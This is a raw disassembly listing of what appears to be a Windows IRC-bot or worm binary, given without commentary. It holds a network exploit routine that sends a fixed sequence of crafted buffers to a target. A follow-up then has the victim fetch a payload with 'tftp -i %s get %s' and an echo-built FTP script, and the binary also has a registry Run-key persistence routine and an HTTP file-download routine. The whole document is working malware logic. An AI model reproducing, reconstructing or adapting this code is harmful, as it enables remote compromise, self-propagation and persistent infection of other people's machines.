arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_402810
call sub_41630C
loc_402810: ; CODE XREF: sub_4027FD+Cj
mov ecx, edi
call sub_402921
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_402826
mov ebx, eax
loc_402826: ; CODE XREF: sub_4027FD+25j
test ebx, ebx
jbe short loc_40285C
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_40BE50
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40270A
test al, al
jz short loc_40285C
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40285C: ; CODE XREF: sub_4027FD+2Bj
; sub_4027FD+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_4027FD endp
; =============== S U B R O U T I N E =======================================
sub_402864 proc near ; CODE XREF: sub_40270A+7Ap
mov eax, offset loc_4165C0
call sub_40BDC8
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40288A
mov edi, [ebp+8]
loc_40288A: ; CODE XREF: sub_402864+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_402897
xor eax, eax
loc_402897: ; CODE XREF: sub_402864+2Fj
push eax
call sub_40C185
pop ecx
mov [ebp+8], eax
jmp short loc_4028C8
; ---------------------------------------------------------------------------
loc_4028A3: ; DATA XREF: .nsp0:00417EC4o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_4028B2
xor eax, eax
loc_4028B2: ; CODE XREF: sub_402864+4Aj
push eax
call sub_40C185
mov [ebp+8], eax
pop ecx
mov eax, offset loc_4028C2
retn
; ---------------------------------------------------------------------------
loc_4028C2: ; DATA XREF: sub_402864+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_4028C8: ; CODE XREF: sub_402864+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_4028E6
cmp eax, edi
jbe short loc_4028D5
mov eax, edi
loc_4028D5: ; CODE XREF: sub_402864+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_40B210
add esp, 0Ch
loc_4028E6: ; CODE XREF: sub_402864+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_402790
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_402906
mov edi, ebx
loc_402906: ; CODE XREF: sub_402864+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_402864 endp
; =============== S U B R O U T I N E =======================================
sub_402921 proc near ; CODE XREF: sub_4027FD+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40294E
mov al, [esi-1]
test al, al
jz short loc_40294E
cmp al, 0FFh
jz short loc_40294E
push 1
call sub_402790
push esi
call sub_40B5B0
pop ecx
push eax
push esi
mov ecx, edi
call sub_4027C8
loc_40294E: ; CODE XREF: sub_402921+9j
; sub_402921+10j ...
pop edi
pop esi
retn
sub_402921 endp
; =============== S U B R O U T I N E =======================================
sub_402951 proc near ; DATA XREF: .nsp0:00419004o
test byte_47FC04, 1
jnz short loc_402961
or byte_47FC04, 1
loc_402961: ; CODE XREF: sub_402951+7j
jmp $+5
push offset nullsub_1
call sub_40C200
pop ecx
retn
sub_402951 endp
; =============== S U B R O U T I N E =======================================
sub_402972 proc near ; CODE XREF: .nsp0:00402FA2p
var_230 = byte ptr -230h
var_210 = byte ptr -210h
var_1F0 = byte ptr -1F0h
var_1D0 = byte ptr -1D0h
var_1B0 = byte ptr -1B0h
var_190 = byte ptr -190h
var_170 = byte ptr -170h
var_150 = byte ptr -150h
var_130 = byte ptr -130h
var_110 = byte ptr -110h
var_F0 = byte ptr -0F0h
var_D0 = byte ptr -0D0h
var_B0 = byte ptr -0B0h
var_90 = byte ptr -90h
var_70 = byte ptr -70h
var_50 = byte ptr -50h
var_30 = byte ptr -30h
var_20 = dword ptr -20h
var_10 = byte ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
arg_136F8 = byte ptr 136FCh
arg_13720 = dword ptr 13724h
arg_13864 = byte ptr 13868h
arg_1388C = byte ptr 13890h
arg_13924 = dword ptr 13928h
mov eax, 13894h
call sub_40B690
push ebx
push ebp
push esi
push edi
xor edi, edi
push edi
push 1
push 2
call dword_4171A8 ; socket
mov esi, eax
lea eax, [esp+1Ch+arg_1388C]
push eax
mov word ptr [esp+20h+var_8], 2
call dword_417190 ; inet_addr
push [esp+20h+arg_13924]
mov [esp+24h+var_8], eax
call dword_417194 ; htons
mov [esp+24h+var_E], ax
lea eax, [esp+24h+var_10]
push 10h
push eax
push esi
call dword_417198 ; connect
test eax, eax
jge short loc_4029D3
loc_4029CC: ; CODE XREF: sub_402972+275j
xor eax, eax
jmp loc_402DFE
; ---------------------------------------------------------------------------
loc_4029D3: ; CODE XREF: sub_402972+58j
lea eax, [esp+30h+var_20]
push 4
push eax
push 1006h
push 0FFFFh
push esi
mov [esp+44h+var_20], 1388h
call dword_41719C ; setsockopt
lea eax, [esp+44h+arg_13864]
push 1
push eax
call sub_403CA3
pop ecx
cmp eax, 2
pop ecx
jz loc_402BEC
cmp eax, 1
jz loc_402BEC
mov ebx, dword_4171AC
push edi
push 48h
push offset aB ; ""
push esi
call ebx ; send
mov ebp, dword_4171A0
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_419A00
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_419A60
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_419B18
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_419C10
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_419C50
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_419CB8
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_419D50
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_419EB0
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41A010
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_41A170
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_402DC7
cmp eax, 0FFFFFFFFh
jz loc_402DC7
push 0
push 15Bh
push offset dword_419D50
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_419EB0
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41A010
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_41A170
push esi
call ebx ; send
push 1387Fh
lea eax, [esp+218h+var_1F0]
push 0
push eax
call sub_40B630
add esp, 0Ch
loc_402BB3: ; CODE XREF: sub_402972+450j
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_402DC7
cmp eax, 0FFFFFFFFh
jz loc_402DC7
cmp [esp+224h+arg_13720], 8Bh
push esi
jnz loc_402DC8
call dword_4171A4 ; closesocket
jmp loc_4029CC
; ---------------------------------------------------------------------------
loc_402BEC: ; CODE XREF: sub_402972+95j
; sub_402972+9Ej
mov ebx, dword_4171AC
push edi
push 48h
push offset unk_41A1E0
push esi
call ebx ; send
mov ebp, dword_4171A0
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_41A230
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_41A290
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_41A348
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 66h
push offset dword_41A440
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_41A4A8
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_41A4E8
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_41A550
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41A5E8
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41A748
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41A8A8
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41AA08
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_41AB68
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_402DC7
cmp eax, 0FFFFFFFFh
jz short loc_402DC7
push 0
push 15Bh
push offset dword_41A5E8
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41A748
push esi
call ebx ; send
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41A8A8
push esi
call ebx ; send
push 0
lea eax, [esp+238h+var_210]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41AA08
push esi
call ebx ; send
push 0
lea eax, [esp+258h+var_230]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_41AB68
push esi
call ebx ; send
jmp loc_402BB3
; ---------------------------------------------------------------------------
loc_402DC7: ; CODE XREF: sub_402972+1C4j
; sub_402972+1CDj ...
push esi
loc_402DC8: ; CODE XREF: sub_402972+269j
call dword_4171A4 ; closesocket
push 7D0h
call dword_417040 ; Sleep
sub esp, 0BCh
lea esi, [esp+268h+arg_136F8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402E09
add esp, 0BCh
neg eax
sbb eax, eax
neg eax
loc_402DFE: ; CODE XREF: sub_402972+5Cj
pop edi
pop esi
pop ebp
pop ebx
add esp, 13894h
retn
sub_402972 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E09 proc near ; CODE XREF: sub_402972+47Bp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_42B410 ; inet_addr
push 0BEEFh
mov [ebp+var_C], eax
call dword_42B3D4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_42B450 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_402F41
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_42B380 ; connect
cmp eax, 0FFFFFFFFh
jz loc_402F41
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_42B3EC ; recv
mov esi, offset byte_41C1A0
push esi
push esi
push [ebp+arg_0]
call sub_405752
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_40BDE7
add esp, 18h
push esi
push esi
push dword_42B2B4
push [ebp+arg_0]
call sub_405752
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_40BDE7
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_42B420 ; send
cmp eax, 0FFFFFFFFh
jz short loc_402F41
push 1F4h
call dword_417040 ; Sleep
push esi
push offset dword_41AC38
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_40BDE7
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_42B420 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402F45
loc_402F41: ; CODE XREF: sub_402E09+4Fj
; sub_402E09+65j ...
xor eax, eax
jmp short loc_402F64
; ---------------------------------------------------------------------------
loc_402F45: ; CODE XREF: sub_402E09+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_42B3EC ; recv
push ebx
call dword_42B468 ; closesocket
xor eax, eax
inc eax
loc_402F64: ; CODE XREF: sub_402E09+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_402E09 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push esi
xor esi, esi
cmp dword ptr [ebp+0A8h], 8Bh
push edi
jz short loc_402F92
cmp dword ptr [ebp+0A8h], 1BDh
jnz loc_403017
loc_402F92: ; CODE XREF: .nsp0:00402F80j
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402972
mov esi, eax
add esp, 0BCh
test esi, esi
jz short loc_403017
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset word_41904A
push eax
push offset aAdminS__RootSe ; "Admin (%s) .. Root searching %s"
lea eax, [ebp-200h]
push 200h
push eax
call sub_40BDE7
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_404555
lea eax, [ebp-200h]
push eax
call sub_403145
mov eax, [ebp+0B0h]
add esp, 2Ch
imul eax, 3Ch
lea eax, dword_419070[eax]
inc dword ptr [eax]
loc_403017: ; CODE XREF: .nsp0:00402F8Cj
; .nsp0:00402FB1j
mov eax, esi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40301D proc near ; CODE XREF: sub_403E11+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_40B54F
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_417220
call sub_40B8FC
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_40301D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40304D proc near ; CODE XREF: sub_406BAB+23F3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_42C1E0
mov edi, 0B8h
loc_403061: ; CODE XREF: sub_40304D+33j
cmp byte ptr [esi], 0
jz short loc_403084
push [ebp+arg_0]
push esi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_403084
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_42CD60
jl short loc_403061
jmp short loc_4030C6
; ---------------------------------------------------------------------------
loc_403084: ; CODE XREF: sub_40304D+17j
; sub_40304D+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_42C1E0[esi]
push ebx
call sub_40B630
push 17h
push [ebp+arg_0]
push ebx
call sub_40B110
push 9Fh
lea eax, dword_42C1F8[esi]
push [ebp+arg_4]
push eax
call sub_40B110
add esp, 24h
inc dword_41C418
pop ebx
loc_4030C6: ; CODE XREF: sub_40304D+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40304D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030CD proc near ; CODE XREF: sub_406BAB+305Bp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aAliasList ; "-[Alias List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
xor edi, edi
mov esi, offset dword_42C1E0
loc_4030F7: ; CODE XREF: sub_4030CD+72j
cmp byte ptr [esi], 0
jz short loc_403132
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_SS ; "%d. %s = %s"
lea eax, [ebp+var_200]
push 200h
push eax
call sub_40BDE7
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 2Ch
loc_403132: ; CODE XREF: sub_4030CD+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_42CD60
jl short loc_4030F7
pop edi
pop esi
leave
retn
sub_4030CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403145 proc near ; CODE XREF: sub_401000+BEp
; sub_4010CA+6Dp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_417068 ; GetLocalTime
mov ebx, offset dword_42B278
mov edi, 0C0h
mov esi, offset dword_422278
loc_403167: ; CODE XREF: sub_403145+40j
cmp byte ptr [ebx], 0
jz short loc_403181
push 0BFh
lea eax, [ebx+0C0h]
push ebx
push eax
call sub_40B110
add esp, 0Ch
loc_403181: ; CODE XREF: sub_403145+25j
sub ebx, edi
cmp ebx, esi
jge short loc_403167
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_40BDE7
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_403145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4031BC proc near ; CODE XREF: sub_40322D+4p
; sub_4054C7+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aMicrosoftsSyst ; "Microsofts Systems Services One "
loc_4031CC: ; CODE XREF: sub_4031BC+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_41AD2C[esi]
push dword_41AD28[esi]
call dword_42B38C ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_40320D
push [ebp+arg_0]
call sub_40B5B0
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_42B3F8 ; RegSetValueExA
jmp short loc_403217
; ---------------------------------------------------------------------------
loc_40320D: ; CODE XREF: sub_4031BC+33j
push ebx
push [ebp+var_4]
call dword_42B350 ; RegDeleteValueA
loc_403217: ; CODE XREF: sub_4031BC+4Fj
push [ebp+var_4]
call dword_42B3B0 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_4031CC
pop edi
pop esi
pop ebx
leave
retn
sub_4031BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40322D proc near ; CODE XREF: sub_40322D+16j
; DATA XREF: sub_406422+368o
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4031BC
pop ecx
push dword_41AD24
call dword_417040 ; Sleep
jmp short sub_40322D
sub_40322D endp
; =============== S U B R O U T I N E =======================================
sub_403245 proc near ; CODE XREF: sub_40327E+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_403277
mov ecx, 0FFh
push ebx
loc_40325C: ; CODE XREF: sub_403245+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_417228[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40325C
pop ebx
loc_403277: ; CODE XREF: sub_403245+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_403245 endp
; =============== S U B R O U T I N E =======================================
sub_40327E proc near ; CODE XREF: sub_4032EE+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_40B6BF
mov [esp+10h+var_10], offset dword_41AD40
push [esp+10h+arg_0]
mov esi, eax
call sub_40C7B8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_4032C9
loc_4032A3: ; CODE XREF: sub_40327E+37j
xor eax, eax
jmp short loc_4032EA
; ---------------------------------------------------------------------------
loc_4032A7: ; CODE XREF: sub_40327E+4Fj
inc ebx
push ebx
push esi
call sub_40C4F8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4032A3
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_40C410
add esp, 10h
loc_4032C9: ; CODE XREF: sub_40327E+23j
test byte ptr [edi+0Ch], 10h
jz short loc_4032A7
dec ebx
push ebx
push esi
call sub_403245
push esi
mov ebx, eax
call sub_40B771
push edi
call sub_40C3BA
add esp, 10h
mov eax, ebx
loc_4032EA: ; CODE XREF: sub_40327E+27j
pop edi
pop esi
pop ebx
retn
sub_40327E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4032EE proc near ; DATA XREF: sub_406BAB+1E01o
; sub_406BAB+20C0o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_42B388
call dword_42B2FC ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_403767
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_41707C ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_4033B5
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_41AF28
push eax
call sub_40B0B3
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_403398
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
add esp, 14h
loc_403398: ; CODE XREF: sub_4032EE+88j
lea eax, [ebp+var_510]
push eax
call sub_403145
push [ebp+var_48]
call sub_40AD6A
pop ecx
pop ecx
push esi
call dword_417050 ; ExitThread
loc_4033B5: ; CODE XREF: sub_4032EE+68j
xor edi, edi
call dword_41705C ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_40B6BF
pop ecx
mov [ebp+var_1C], eax
loc_4033CF: ; CODE XREF: sub_4032EE+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_42B304 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_403413
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_4037CD
pop ecx
pop ecx
loc_403413: ; CODE XREF: sub_4032EE+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_417078 ; WriteFile
cmp edi, ebx
jnb short loc_403451
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40343B
mov eax, [ebp+arg_0]
loc_40343B: ; CODE XREF: sub_4032EE+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_40B210
add esp, 0Ch
loc_403451: ; CODE XREF: sub_4032EE+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40345E
cmp edi, [ebp+var_3C]
ja short loc_40349D
loc_40345E: ; CODE XREF: sub_4032EE+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_42CD60
cmp [ebp+var_44], 1
jz short loc_403486
push offset unk_41AEF0
jmp short loc_40348B
; ---------------------------------------------------------------------------
loc_403486: ; CODE XREF: sub_4032EE+18Fj
push offset unk_41AEBC
loc_40348B: ; CODE XREF: sub_4032EE+196j
push eax
call sub_40B0B3
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_4033CF
loc_40349D: ; CODE XREF: sub_4032EE+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_4034F2
cmp edi, [ebp+var_3C]
jz short loc_4034F2
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_41AE84
push eax
call sub_40B0B3
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
lea eax, [ebp+var_510]
push eax
call sub_403145
add esp, 28h
loc_4034F2: ; CODE XREF: sub_4032EE+1B9j
; sub_4032EE+1BEj
call dword_41705C ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_417074 ; CloseHandle
push [ebp+var_1C]
call sub_40B771
cmp [ebp+var_38], esi
pop ecx
jz short loc_40357C
lea eax, [ebp+var_148]
push eax
call sub_40327E
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40357C
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_41AE58
push eax
call sub_40B0B3
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
lea eax, [ebp+var_510]
push eax
call sub_403145
add esp, 28h
loc_40357C: ; CODE XREF: sub_4032EE+236j
; sub_4032EE+248j
cmp [ebp+var_14], esi
jz loc_4037B4
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_403677
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
